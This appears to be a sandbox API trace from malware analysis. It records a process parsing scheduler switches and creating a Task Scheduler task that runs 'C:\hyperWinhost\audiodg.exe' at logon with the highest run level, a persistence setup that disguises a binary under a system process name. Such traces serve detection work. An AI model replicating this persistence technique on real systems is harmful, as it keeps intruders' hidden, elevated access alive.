SetLastError (dwErrCode=0x490) [0070.424] lstrlenW (lpString="tn") returned 2 [0070.424] lstrlenW (lpString="tn") returned 2 [0070.424] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.424] lstrlenW (lpString="f") returned 1 [0070.424] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.424] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tn|") returned 4 [0070.424] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.424] lstrlenW (lpString="|tn|") returned 4 [0070.424] lstrlenW (lpString="|f|") returned 3 [0070.424] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0070.424] SetLastError (dwErrCode=0x490) [0070.424] lstrlenW (lpString="tr") returned 2 [0070.424] lstrlenW (lpString="tr") returned 2 [0070.424] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] lstrlenW (lpString="f") returned 1 [0070.425] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|tr|") returned 4 [0070.425] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.425] lstrlenW (lpString="|tr|") returned 4 [0070.425] lstrlenW (lpString="|f|") returned 3 [0070.425] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0070.425] SetLastError (dwErrCode=0x490) [0070.425] lstrlenW (lpString="st") returned 2 [0070.425] lstrlenW (lpString="st") returned 2 [0070.425] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] lstrlenW (lpString="f") returned 1 [0070.425] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|st|") returned 4 [0070.425] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.425] lstrlenW (lpString="|st|") returned 4 [0070.425] lstrlenW (lpString="|f|") returned 3 [0070.425] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0070.425] SetLastError (dwErrCode=0x490) [0070.425] lstrlenW (lpString="sd") returned 2 [0070.425] lstrlenW (lpString="sd") returned 2 [0070.425] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] lstrlenW (lpString="f") returned 1 [0070.425] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.425] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|sd|") returned 4 [0070.425] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.425] lstrlenW (lpString="|sd|") returned 4 [0070.425] lstrlenW (lpString="|f|") returned 3 [0070.425] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0070.426] SetLastError (dwErrCode=0x490) [0070.426] lstrlenW (lpString="ed") returned 2 [0070.426] lstrlenW (lpString="ed") returned 2 [0070.426] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.426] lstrlenW (lpString="f") returned 1 [0070.426] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.426] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ed|") returned 4 [0070.426] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.426] lstrlenW (lpString="|ed|") returned 4 [0070.426] lstrlenW (lpString="|f|") returned 3 [0070.426] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0070.426] SetLastError (dwErrCode=0x490) [0070.426] lstrlenW (lpString="it") returned 2 [0070.426] lstrlenW (lpString="it") returned 2 [0070.426] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.434] lstrlenW (lpString="f") returned 1 [0070.434] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.434] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|it|") returned 4 [0070.434] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.434] lstrlenW (lpString="|it|") returned 4 [0070.434] lstrlenW (lpString="|f|") returned 3 [0070.435] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0070.435] SetLastError (dwErrCode=0x490) [0070.435] lstrlenW (lpString="et") returned 2 [0070.435] lstrlenW (lpString="et") returned 2 [0070.435] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.435] lstrlenW (lpString="f") returned 1 [0070.435] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.435] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|et|") returned 4 [0070.435] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.435] lstrlenW (lpString="|et|") returned 4 [0070.435] lstrlenW (lpString="|f|") returned 3 [0070.435] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0070.435] SetLastError (dwErrCode=0x490) [0070.435] lstrlenW (lpString="k") returned 1 [0070.435] lstrlenW (lpString="k") returned 1 [0070.435] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.435] lstrlenW (lpString="f") returned 1 [0070.435] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.435] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|k|") returned 3 [0070.435] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.435] lstrlenW (lpString="|k|") returned 3 [0070.437] lstrlenW (lpString="|f|") returned 3 [0070.437] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0070.437] SetLastError (dwErrCode=0x490) [0070.437] lstrlenW (lpString="du") returned 2 [0070.437] lstrlenW (lpString="du") returned 2 [0070.437] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.437] lstrlenW (lpString="f") returned 1 [0070.437] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.437] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|du|") returned 4 [0070.437] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.437] lstrlenW (lpString="|du|") returned 4 [0070.437] lstrlenW (lpString="|f|") returned 3 [0070.437] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0070.437] SetLastError (dwErrCode=0x490) [0070.437] lstrlenW (lpString="ri") returned 2 [0070.437] lstrlenW (lpString="ri") returned 2 [0070.437] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.437] lstrlenW (lpString="f") returned 1 [0070.437] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.437] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|ri|") returned 4 [0070.437] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.437] lstrlenW (lpString="|ri|") returned 4 [0070.437] lstrlenW (lpString="|f|") returned 3 [0070.437] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0070.438] SetLastError (dwErrCode=0x490) [0070.438] lstrlenW (lpString="z") returned 1 [0070.438] lstrlenW (lpString="z") returned 1 [0070.438] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.438] lstrlenW (lpString="f") returned 1 [0070.438] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.438] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|z|") returned 3 [0070.438] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.438] lstrlenW (lpString="|z|") returned 3 [0070.438] lstrlenW (lpString="|f|") returned 3 [0070.438] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0070.438] SetLastError (dwErrCode=0x490) [0070.438] lstrlenW (lpString="f") returned 1 [0070.438] lstrlenW (lpString="f") returned 1 [0070.438] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.438] lstrlenW (lpString="f") returned 1 [0070.438] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.438] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.438] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc2a8 | out: _Buffer="|f|") returned 3 [0070.438] lstrlenW (lpString="|f|") returned 3 [0070.438] lstrlenW (lpString="|f|") returned 3 [0070.438] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0070.438] SetLastError (dwErrCode=0x0) [0070.438] SetLastError (dwErrCode=0x0) [0070.438] GetProcessHeap () returned 0x310000 [0070.438] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce30 [0070.438] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.438] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0070.439] lstrlenW (lpString="LIMITED") returned 7 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d680 [0070.439] GetThreadLocale () returned 0x409 [0070.439] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce00 [0070.439] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.439] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0070.439] lstrlenW (lpString="HIGHEST") returned 7 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d6a0 [0070.439] GetThreadLocale () returned 0x409 [0070.439] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cdd0 [0070.439] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.439] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0070.439] lstrlenW (lpString="MINUTE") returned 6 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d6c0 [0070.439] GetThreadLocale () returned 0x409 [0070.439] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cda0 [0070.439] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.439] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0070.439] lstrlenW (lpString="HOURLY") returned 6 [0070.439] GetProcessHeap () returned 0x310000 [0070.439] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d6e0 [0070.440] GetThreadLocale () returned 0x409 [0070.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd70 [0070.440] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.440] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0070.440] lstrlenW (lpString="DAILY") returned 5 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d700 [0070.440] GetThreadLocale () returned 0x409 [0070.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd40 [0070.440] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.440] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0070.440] lstrlenW (lpString="WEEKLY") returned 6 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d720 [0070.440] GetThreadLocale () returned 0x409 [0070.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd10 [0070.440] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.440] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0070.440] lstrlenW (lpString="MONTHLY") returned 7 [0070.440] GetProcessHeap () returned 0x310000 [0070.440] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d740 [0070.440] GetThreadLocale () returned 0x409 [0070.440] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0070.440] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.440] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0070.441] lstrlenW (lpString="ONCE") returned 4 [0070.441] GetProcessHeap () returned 0x310000 [0070.441] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32d760 [0070.441] GetThreadLocale () returned 0x409 [0070.441] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0070.441] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.441] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0070.441] lstrlenW (lpString="ONSTART") returned 7 [0070.441] GetThreadLocale () returned 0x409 [0070.441] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0070.441] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.441] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0070.441] lstrlenW (lpString="ONLOGON") returned 7 [0070.441] GetThreadLocale () returned 0x409 [0070.441] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0070.441] SetLastError (dwErrCode=0x0) [0070.441] GetProcessHeap () returned 0x310000 [0070.441] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x1fc) returned 0x32c430 [0070.441] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.441] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0070.441] lstrlenW (lpString="First") returned 5 [0070.441] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.441] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0070.441] lstrlenW (lpString="Second") returned 6 [0070.441] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.441] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0070.442] lstrlenW (lpString="Third") returned 5 [0070.442] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.442] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0070.442] lstrlenW (lpString="Fourth") returned 6 [0070.442] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.442] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0070.442] lstrlenW (lpString="Last") returned 4 [0070.442] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.442] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0070.442] lstrlenW (lpString="First") returned 5 [0070.442] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.442] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0070.442] lstrlenW (lpString="Second") returned 6 [0070.442] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.442] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0070.442] lstrlenW (lpString="Third") returned 5 [0070.442] GetProcessHeap () returned 0x310000 [0070.442] GetProcessHeap () returned 0x310000 [0070.442] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760) returned 1 [0070.442] GetProcessHeap () returned 0x310000 [0070.443] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d760) returned 0xa [0070.443] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d760 | out: hHeap=0x310000) returned 1 [0070.443] GetProcessHeap () returned 0x310000 [0070.443] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d760 [0070.443] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.443] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0070.443] lstrlenW (lpString="Fourth") returned 6 [0070.443] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.443] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0070.443] lstrlenW (lpString="Last") returned 4 [0070.443] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc120, cchData=128 | out: lpLCData="0") returned 2 [0070.443] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.443] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0070.443] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0070.443] GetProcessHeap () returned 0x310000 [0070.443] GetProcessHeap () returned 0x310000 [0070.443] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680) returned 1 [0070.443] GetProcessHeap () returned 0x310000 [0070.443] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d680) returned 0x10 [0070.443] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d680 | out: hHeap=0x310000) returned 1 [0070.443] GetProcessHeap () returned 0x310000 [0070.443] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d680 [0070.443] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc140, cchData=128 | out: lpLCData="0") returned 2 [0070.443] _memicmp (_Buf1=0x32bbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.443] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0070.443] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0070.444] GetProcessHeap () returned 0x310000 [0070.444] GetProcessHeap () returned 0x310000 [0070.444] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0) returned 1 [0070.444] GetProcessHeap () returned 0x310000 [0070.444] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6a0) returned 0x10 [0070.444] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0 | out: hHeap=0x310000) returned 1 [0070.444] GetProcessHeap () returned 0x310000 [0070.444] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d6a0 [0070.444] GetLocalTime (in: lpSystemTime=0x1bc370 | out: lpSystemTime=0x1bc370*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x36, wMilliseconds=0x32a)) [0070.444] GetLocalTime (in: lpSystemTime=0x1bcc28 | out: lpSystemTime=0x1bcc28*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x36, wMilliseconds=0x32a)) [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] lstrlenW (lpString="") returned 0 [0070.444] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0070.563] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0070.655] CoCreateInstance (in: rclsid=0xff3d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff3d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bc9f0 | out: ppv=0x1bc9f0*=0x27b60) returned 0x0 [0070.667] TaskScheduler:ITaskService:Connect (This=0x27b60, serverName=0x1bcad0*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bcab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0070.678] TaskScheduler:IUnknown:AddRef (This=0x27b60) returned 0x2 [0070.678] TaskScheduler:ITaskService:GetFolder (in: This=0x27b60, Path=0x0, ppFolder=0x1bcb88 | out: ppFolder=0x1bcb88*=0x27d20) returned 0x0 [0070.683] TaskScheduler:ITaskService:NewTask (in: This=0x27b60, flags=0x0, ppDefinition=0x1bcb80 | out: ppDefinition=0x1bcb80*=0x27d70) returned 0x0 [0070.684] ITaskDefinition:get_Actions (in: This=0x27d70, ppActions=0x1bcb00 | out: ppActions=0x1bcb00*=0x27e30) returned 0x0 [0070.684] IActionCollection:Create (in: This=0x27e30, Type=0, ppAction=0x1bcb20 | out: ppAction=0x1bcb20*=0x261b0) returned 0x0 [0070.684] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.684] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.684] lstrlenW (lpString=" ") returned 1 [0070.684] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0070.684] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0070.685] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 